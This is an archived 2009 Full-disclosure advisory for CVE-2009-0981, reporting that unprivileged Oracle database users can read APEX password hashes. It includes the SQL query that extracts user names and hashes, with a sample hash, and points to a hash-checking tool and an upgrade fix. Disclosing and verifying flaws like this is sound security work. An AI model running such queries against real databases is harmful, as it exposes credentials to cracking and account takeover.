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[Full-disclosure] Unprivileged DB users can see APEX password hashes [CVE-2009-0981]

From: Alexander Kornbrust (akred-database-security.com)
Date: Thu Apr 16 2009 - 00:51:11 CDT


Unprivileged DB users can see APEX password hashes [CVE-2009-0981]

Name Unprivileged DB users can see APEX password
hashes
Systems Affected APEX 3.0 (optional component of 11.1.0.7 installation)
Severity High Risk
Category Password Disclosure
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust
CVE CVE-2009-0981
Advisory 14 April 2009 (V 1.00)

Details:
Unprivileged database users can see APEX password hashes in
FLOWS_030000.WWV_FLOW_USER.

SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS

USER_NAME WEB_PASSWORD2
---------------------------------------------------------------------------
YURI 141FA790354FB6C72802FDEA86353F31

This password hash can be checked using a tool like Repscan.

Additional information is available in the following advisory.

Advisory:
http://www.red-database-security.com/advisory/apex_password_hashes.html

Patch Information:
Upgrade to Oracle APEX 3.2.

Verification:
Our Oracle database scanner Repscan was updated with the information
from the Oracle
CPU April 2009 and can identify vulnerable databases.
More Information about Repscan can be found here:
http://www.sentrigo.com/repscan

History:
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Advisory published

About Red-Database-Security:
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Within the last
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